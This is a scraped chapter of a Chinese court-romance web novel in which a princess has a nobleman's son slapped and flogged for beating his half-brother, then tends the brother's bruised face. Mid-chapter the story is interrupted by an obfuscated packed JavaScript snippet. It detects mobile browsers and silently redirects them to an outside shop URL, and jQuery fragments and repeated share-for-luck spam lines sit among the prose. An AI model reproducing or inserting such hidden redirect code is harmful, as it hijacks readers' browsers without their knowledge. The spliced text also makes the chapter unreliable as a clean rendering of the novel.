默认冷灰
24号文字
方正启体

第24章

作者:却蓝本书字数:K更新时间:
    薛筠意下意识坐直了身子:“他伤着没有?


    “没、没伤着什么。琉银小声,“只是脸上……有些痕迹。


    薛筠意深深压下一口气,命令:“把人带来。


    琉银惴惴不安地应了声,低着头退了出去。薛筠意并未点明她要的“人是谁,琉银便自作主张,将邬寒钰和邬琅一同带进了寝殿。


    邬寒钰一面迈过门槛,一面还在揉着自个儿隐隐作痛的右手腕。方才一时气急,使的力气大了些,腕骨都震得发酸。


    远远望见薛筠意坐在轮椅里,食指轻敲着圆桌,一下一下,节律不疾不缓,似乎已等了他许久,邬寒钰脚步一顿,陡然清醒过来。


    他方才做了什么好事?


    虽说他教训自己那个出身卑贱的弟弟是天经地义的事,可这毕竟是在长公主的宫里,不比在邬府,他想如何便如何。


    这几日,邬寒钰一夜都没睡好过。青梧宫将他送的礼原封不动地退了回来,办这差事的宫人言语冷淡,他几番打听也没套出什么话来,只隐约意识到长公主似乎对这份礼颇为不满。他心下惶恐,不明白是哪里出了差错,只得仔细置办了一份更为昂贵的礼物,今日带来,亲自向长公主赔罪。可不曾想,竟误打误撞,教他发现了一桩惊骇秘密——那几个小太监口中,被长公主养在宫里的男人,竟是他的弟弟邬琅。


    邬寒钰望着偏屋里那张熟悉脸孔,短暂震惊过后,只剩下满腔的怒不可遏。


    怪不得二公主这些日子对邬家如此冷淡。他竟不知邬琅这贱.种何时被二公主逐出了凝华宫,又是何时攀上了长公主。


    他连日为侯位之事操心奔波,邬琅倒好,在青梧宫里过着惬意安生的好日子,全然将邬家,将他这个兄长,抛在脑后了!


    邬寒钰攥着拳,胸口气血翻涌,趁琉银离开的功夫,他瞧准屋里没有旁人,蹭蹭两步蹿上石阶,对着邬琅便是劈头盖脸一通乱骂。


    邬琅抱膝坐在床中央,没想到会突然闯进人来,顿时吓了一跳。


    屋门大敞着。琉银说他气色不好,需得多晒些太阳,是以每日晌午都会替他打开门,让暖融融的阳光透进屋里。


    邬琅想,他该将气色养得好些,这样长公主才会愿意多瞧他几眼。所以他乖乖地坐在床上,坐在那道微烫的光束之间,发着呆。直至邬寒钰的身影将光隔绝,黑影密不透风地压下来,他害怕地往后缩了缩,抬起头,就看见兄长暴怒的脸。


    “没用的东西!邬寒钰咬着牙,翻来覆去地拣着难听话骂,“……不能讨二公主欢心也就罢了,既攀上了长公主,也未见你在长公主耳边替你兄长说几句好话,早些把封世子的旨意求


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    下来!”


    长公主虽不及二公主得陛下宠爱,但性子温柔宽和,想来应当比二公主好说话得多。若她肯在陛下面前提点两句,至少能让陛下想起这桩事来,总好过他整日在邬府里干着急。


    邬琅抿着唇,始终一声不吭。直到他听见邬寒钰那些不堪入耳的字句里,提到了他死去的母亲。


    “既是从你娘肚子里爬出来的,怎么就没学来她爬床的本事?真是没用的废物……”


    邬琅突然仰起头,死死地盯着邬寒钰,那目光宛如一条久浸深潭的蛇,冷森森地绞上他的脖颈。


    邬寒钰怔了下,几乎是气笑了。他的弟弟还真是本事见长,竟敢用这样忤逆不敬的眼神看他。他毫不犹豫地抬起手掌,甩了邬琅几个清脆的耳光,好让他醒醒神,别忘了自个儿的身份。


    精心养了数日,少年脸上的肿痕难得褪了些,此刻又添回了几道红艳艳的巴掌印,薛筠意看在眼里,眉头轻皱。


    邬琅低着头在她面前跪下来,安静,小心。


    她叹了口气,暂且将目光移开,重又落在一旁站着的邬寒钰身上。


    邬寒钰忙朝她拱手行礼:“见过长公主。今日冒昧前来,是邬某唐突了。”


    瞟了眼一旁的邬琅,他斟酌着,端起笑问道:“不知邬琅是何时到殿下宫里的,服侍得殿下可还舒心?”


    “邬琅如今是本宫的人。谁给你的权力,在本宫的宫里**的?”薛筠意倚着轮椅,静静看他。


    邬寒钰一噎,额角不觉沁出了些冷汗,他喉间缓了下,才继续道:“殿下有所不知,邬琅自幼性子顽劣,不服管教,他若听话些,也不至于被二公主赶出凝华宫来,您说是不是?如今能得殿下垂怜,是他的福气,我是怕他再不懂事冲撞了殿下,所以教训了他几句。谁知这贱.种竟敢顶撞于我,我一时气急,才打了他两下。”


    一口一个贱.种,听得薛筠意心烦。她直接冷了嗓,轻嗤:“你算什么东西,也配教训本宫的人?区区平康侯之子,既无爵位,亦无官职,顶多算个闲散子弟,见了本宫,却连跪拜之礼都不行,真当本宫这青梧宫,是你邬家的后院么?”


    邬寒钰心头大骇,双膝一软,便扑通跪地,不及他出言辩解,薛筠意已看向身旁宫人:“今日宫门当值的,是哪两个?”


    墨楹忙回话:“是赵英、王五。”


    “还有上次。”薛筠意算了下日子,“初十那日,是哪两个放他进青梧宫的?”


    墨楹心下飞快思量一番,“回殿下,这半月,晌午前都是赵英和王五在宫门当值。午后换班。”


    “未经本宫允许,便擅自将这般没规矩的东西放进宫来,既如此糊涂,便一人去


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    领三十大板,另换两个得力的顶了这差事。”薛筠意语气平静。


    自姜皇后去世,她整日恹恹的,也懒得管宫里琐事,却不知这些下人竟懈怠至此。


    邬寒钰慌了神。他和青梧宫的守卫并不相熟,上次来,见赵英王五靠着墙边哈欠连天,便上前说了几句好话,道他乃平康侯之子,入宫拜会长公主,又悄悄给塞了好些银子,那两人便半推半就地给他放了进去。回来时,他免不了又对二人好一番道谢,王五笑说长公主自落了腿疾便不大管事了,不会计较这些。


    邬寒钰也没想到向来温柔和气的长公主今日会动这样大的火气,他心下惶恐,不安地盘算着该不该为两人求几句情。


    “擅闯本宫的屋子,还随意打骂本宫身边的人,邬寒钰,你有几条命够折腾啊。”


    长公主目光平和,面上不见喜怒,仿佛只是在与他闲话家常。邬寒钰却吓出了满身的冷汗。他哪里还顾得上赵英王五,急忙辩解道:“草民也是赔罪心切,才失了礼数,上次送您的东西您不喜欢,这不,草民又特意备了些旁的东西送来……”


    薛筠意没理会他,径自看向邬琅:“方才他打了你几下?”


    骤然被问到话,邬琅鸦睫抖了抖,有些慌乱:“回殿下,许是六下,奴、奴也记不清了。”


    他只记得邬寒钰暴怒地扯住他头发,眼前瞬间天旋地转,接着脸上便泛起熟悉的肿.烫。


    邬琅低垂着头,衣袖下的手紧张地攥着,他头一次见到这样的长公主,头一次听见她这般冷厉地与人说话。


    邬琅有些害怕。


    毕竟今日之事,是因他而起。若不是他惹出了这桩麻烦,长公主便不会如此动气伤神。


    或许他不该忤逆邬寒钰的,十几年来,那样难听的话他听过了无数次,早就学会了沉默地忍耐。


    他下意识地反省着自己的过错,下一瞬,却听见长公主冷冷地对邬寒钰道:“十二下,自己掌嘴,向邬琅道歉。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019607|194235||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    邬琅愣住,不可置信地抬起眼,眸中满是惊愕。


    邬寒钰亦震惊不小,开什么玩笑?长公主竟要他向邬琅这个下.贱玩意儿道歉?他扯了扯唇角,笑得十分难看:“殿下,草民是他的兄长啊。都道长兄如父,以前在家中时,便是草民费心管教他,今日只是打了他两下,殿下何必如此计较?”


    想起邬寒钰的那些“费心管教”,邬琅瞳孔缩了缩,又垂下了脑袋。


    “邬老爷子尚且康健,即便要管教,又何时轮得到你了。”薛筠意唇角轻扯,“都是邬家的儿子,哪来的高低贵贱之分。你打了本宫的人,便该领罚,邬公子迟迟不动手,是等着本宫亲自来吗?”


    她作势


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    坐直了身,邬寒钰吓了一跳,下意识地往后躲,却听薛筠意淡声道:“像邬公子这般没规矩没教养的人,本宫打你都嫌脏了手。”


    说罢,她便扬声:“墨楹,既然邬公子不肯费力气,便辛苦你些。记着,务必要听见响,留了印,才作数。”


    “是。”


    墨楹走到邬寒钰面前,体贴地挽起衣袖卸了手腕上的银镯子,客客气气地朝他行了一礼,而后便卯足了力气朝他脸上扇去。


    邬寒钰没想到这身子精瘦的小宫婢竟有如此大的力气,只一巴掌下去,他便头晕眼花,忍不住哭嚎着求饶:“草民知错了,草民这就向邬琅道歉,求殿下高抬贵手……”


    掌嘴声清脆,每一下都有余音回响。


    邬琅很熟悉这样的声音,所以并不觉得残忍,只是偷偷地抬起眼睛,望向神色淡然低头抿茶的长公主。


    长公主……是在为他出气吗?


    这种感觉很奇妙。令邬琅的心跳莫名有些快。


    生平第一次,他看见那个总是以打骂欺辱他为乐的兄长,狼狈不堪地哭叫着,顶着通红的脸挪膝转过来,抽抽噎噎地向他告罪:“对不起,哥哥不该打你,哥哥往后再也不会了,你原谅哥哥好不好?”


    邬琅抿起唇,不愿去看邬寒钰的脸。薛筠意平静放下茶盏,对墨楹吩咐:“带下去,和赵英王五一样罚三十板子。往后不许他再踏入青梧宫一步。”


    两名侍卫立刻进了殿,将惊恐不已的邬寒钰拖了下去。


    薛筠意扫了眼殿中侍候的宫婢,“都退下吧。以后当差都仔细着些,若有懈怠,本宫定不轻饶。”


    宫婢们惶恐低头,喏喏应是,躬身离殿。


    殿中重归静寂。


    只余少年小心翼翼的呼吸声。


    薛筠意眼中冷色稍缓。她停顿一息,温声道:“抬起脸,过来些。”


    邬琅身子一紧,下意识地想,是了,罚完了邬寒钰,也该罚他了。都怪他没有安安分分的,给长公主添了烦扰,是该重罚。


    他膝行着向前了些,乖乖仰起脸,将还泛着热的颊肉送到薛筠意伸手就能碰到的位置。


    离得近了,便闻到薛筠意裙摆上沾染的淡淡草药香。


    他忽然想起方才长公主对邬寒钰说的话——长公主说,打他都嫌脏了手。


    可是长公主却愿意亲手罚他。


    想到此处,邬琅心底竟有些隐秘的欢喜。


    他的脸可以被长公主那双温暖的手触碰,柔软的,带着花香的。哪怕是耳光,也是只赏赐他一人的。


    邬琅忍不住将脸又抬高了些。


    可他没等到熟悉的耳光,只等到薛筠意温热的掌心,在他通红的脸颊上轻轻揉了揉,接着耳边便响起一声若有似无的轻叹。


    “有些肿了,得上些药才行。”


    薛筠意收回手,指了指床边的木屉,柔声道:“第二格里有消肿的药,去拿过来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)